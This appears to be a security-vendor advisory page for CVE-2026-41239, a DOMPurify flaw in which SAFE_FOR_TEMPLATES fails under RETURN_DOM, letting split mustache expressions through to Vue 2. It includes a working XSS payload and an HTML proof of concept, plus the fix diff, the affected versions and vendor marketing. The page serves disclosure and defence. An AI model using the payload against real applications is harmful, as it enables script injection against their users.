CVE-2026-41239 — dompurify
MEDIUMCVE-2026-41239 is a medium-severity (CVSS 6.8) Cross-site Scripting (XSS) vulnerability in dompurify. A fix is available for dompurify — see the affected versions and patch details below.
DOMPurify has a SAFE_FOR_TEMPLATES bypass in RETURN_DOM mode
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-41239.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-41239 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
dompurifynpmDescription
Summary
SAFE_FOR_TEMPLATES strips {{...}} expressions from untrusted HTML. This works in string mode but not with RETURN_DOM or RETURN_DOM_FRAGMENT, allowing XSS via template-evaluating frameworks like Vue 2.
Technical Details
DOMPurify strips template expressions in two passes:
- Per-node — each text node is checked during the tree walk (
purify.ts:1179-1191):
// pass #1: runs on every text node during tree walk
if (SAFE_FOR_TEMPLATES && currentNode.nodeType === NODE_TYPE.text) {
content = currentNode.textContent;
content = content.replace(MUSTACHE_EXPR, ' '); // {{...}} -> ' '
content = content.replace(ERB_EXPR, ' '); // <%...%> -> ' '
content = content.replace(TMPLIT_EXPR, ' '); // ${... -> ' '
currentNode.textContent = content;
}
- Final string scrub — after serialization, the full HTML string is scrubbed again (
purify.ts:1679-1683). This is the safety net that catches expressions that only form after the DOM settles.
The RETURN_DOM path returns before pass #2 ever runs (purify.ts:1637-1661):
// purify.ts (simplified)
if (RETURN_DOM) {
// ... build returnNode ...
return returnNode; // <-- exits here, pass #2 never runs
}
// pass #2: only reached by string-mode callers
if (SAFE_FOR_TEMPLATES) {
serializedHTML = serializedHTML.replace(MUSTACHE_EXPR, ' ');
}
return serializedHTML;
The payload {<foo></foo>{constructor.constructor('alert(1)')()}<foo></foo>} exploits this:
- Parser creates:
TEXT("{")→<foo>→TEXT("{payload}")→<foo>→TEXT("}")— no single node contains{{, so pass #1 misses it <foo>is not allowed, so DOMPurify removes it but keeps surrounding text- The three text nodes are now adjacent —
.outerHTMLreads them as{{payload}}, which Vue 2 compiles and executes
Reproduce
Open the following html in any browser and alert(1) pops up.
<!DOCTYPE html>
<html>
<body>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/vue.min.js"></script>
<script>
var dirty = '<div id="app">{<foo></foo>{constructor.constructor("alert(1)")()}<foo></foo>}</div>';
var dom = DOMPurify.sanitize(dirty, { SAFE_FOR_TEMPLATES: true, RETURN_DOM: true });
document.body.appendChild(dom.firstChild);
new Vue({ el: '#app' });
</script>
</body>
</html>
Impact
Any application that sanitizes attacker-controlled HTML with SAFE_FOR_TEMPLATES: true and RETURN_DOM: true (or RETURN_DOM_FRAGMENT: true), then mounts the result into a template-evaluating framework, is vulnerable to XSS.
Recommendations
Fix
normalize() merges the split text nodes, then the same regex from the string path catches the expression. Placed before the fragment logic, this fixes both RETURN_DOM and RETURN_DOM_FRAGMENT.
if (RETURN_DOM) {
+ if (SAFE_FOR_TEMPLATES) {
+ body.normalize();
+ let html = body.innerHTML;
+ arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) => {
+ html = stringReplace(html, expr, ' ');
+ });
+ body.innerHTML = html;
+ }
+
if (RETURN_DOM_FRAGMENT) {
returnNode = createDocumentFragment.call(body.ownerDocument);
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | dompurify | ≥ 1.0.10&&< 3.4.0 | 3.4.0npm install dompurify@3.4.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for dompurify, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update dompurify to 3.4.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-41239 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-41239 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-41239. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-41239 in your dependencies?
O3 Security finds CVE-2026-41239 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.